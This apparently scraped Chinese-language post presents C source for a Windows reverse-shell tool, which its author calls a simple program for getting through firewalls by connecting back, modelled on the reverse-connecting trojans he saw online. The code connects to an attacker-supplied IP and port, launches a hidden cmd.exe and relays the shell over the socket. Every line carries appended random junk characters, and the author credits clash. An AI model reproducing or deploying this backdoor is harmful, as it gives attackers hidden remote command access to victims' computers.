这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b#h}g>l
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/* ============================== ao+lLCr
Rebound port in Windows NT !&8nwOG
By wind,2006/7 Q~p)@[q
===============================*/ 25:[VH$:4
#include G[;GP0\N
#include x%J4A+kU
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#pragma comment(lib,"wsock32.lib") j<BW/
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void OutputShell(); )sONfn
SOCKET sClient; uItzFX*
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; G=1&:nW'
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void main(int argc,char **argv) ^`BiA'gPPC
{ -'q#u C
WSADATA stWsaData; 8ClOd<I
int nRet; 3I}(as{Rp
SOCKADDR_IN stSaiClient,stSaiServer; O~wZU Zf
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if(argc != 3) CtEpS<*c
{ TnuNoMD.
printf("Useage:\n\rRebound DestIP DestPort\n"); #o>~@.S#:0
return; c8@zpkMj/
} yniXb2iM
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WSAStartup(MAKEWORD(2,2),&stWsaData); c >8IM
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /b|V=j}W
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stSaiClient.sin_family = AF_INET; d*}dM"
stSaiClient.sin_port = htons(0); n8FmIoZ&`
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); x6h';W_ 8
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Lo<-;;vQ
{ vZ&{
printf("Bind Socket Failed!\n"); jV}tjwq
return; *6C ]CS
} LBcnBo</v
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stSaiServer.sin_family = AF_INET; Ht{Q=w/9
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <6!;mb
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6k4ZzQ}
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) zp4aiMn1F
{ Rhfx
printf("Connect Error!"); d ynq)lf
return; 5{PT
} yA+NRWWj
OutputShell(); 88]4GVi
} NZ|(#` X
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void OutputShell() B_kjy=]O.
{ 6I<^wS9j_
char szBuff[1024]; 3|se]~
SECURITY_ATTRIBUTES stSecurityAttributes; D
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OSVERSIONINFO stOsversionInfo; ,
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9"g!J|+
STARTUPINFO stStartupInfo; 6_&uYA<8pE
char *szShell; VB}4#-dG?
PROCESS_INFORMATION stProcessInformation; y
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unsigned long lBytesRead; @ P'("qb~
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l KdY!j"
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cFV)zFu
stSecurityAttributes.lpSecurityDescriptor = 0; X2[d15!9
stSecurityAttributes.bInheritHandle = TRUE; 2HX#:y{\l
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [& d"Z2gK
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,E._A(Z
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )<~v~|re
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \]Nt-3|`0
stStartupInfo.wShowWindow = SW_HIDE; E! s?amM4
stStartupInfo.hStdInput = hReadPipe; f"Z2,!Z;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qr<+@Q
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GetVersionEx(&stOsversionInfo); `[(.Q
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switch(stOsversionInfo.dwPlatformId) dlf nhf
{ _rN1(=J
case 1: ;_nV*G.y#^
szShell = "command.com"; o8ERU($/
break; [_X.Equ
default: _u]S/X-
szShell = "cmd.exe"; ^&|KuI+u
break; c %f'rj
} o4U[;.?c
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); R'z
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send(sClient,szMsg,77,0); K^yZfpa8
while(1) bCSgdK
{ 5*#3v:l/9
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +lNAog
if(lBytesRead) "J=A(w5
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w vnuE<o8
send(sClient,szBuff,lBytesRead,0); NDo>"in
} 37U2Tb!y'
else LP{@r ic
{ .wPu
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lBytesRead=recv(sClient,szBuff,1024,0); .S6u{B
if(lBytesRead<=0) break; /ygC_,mx
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S [=l/3c
} y88lkV4a
} 9x]yu6
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return; S O#R5Mu2N
}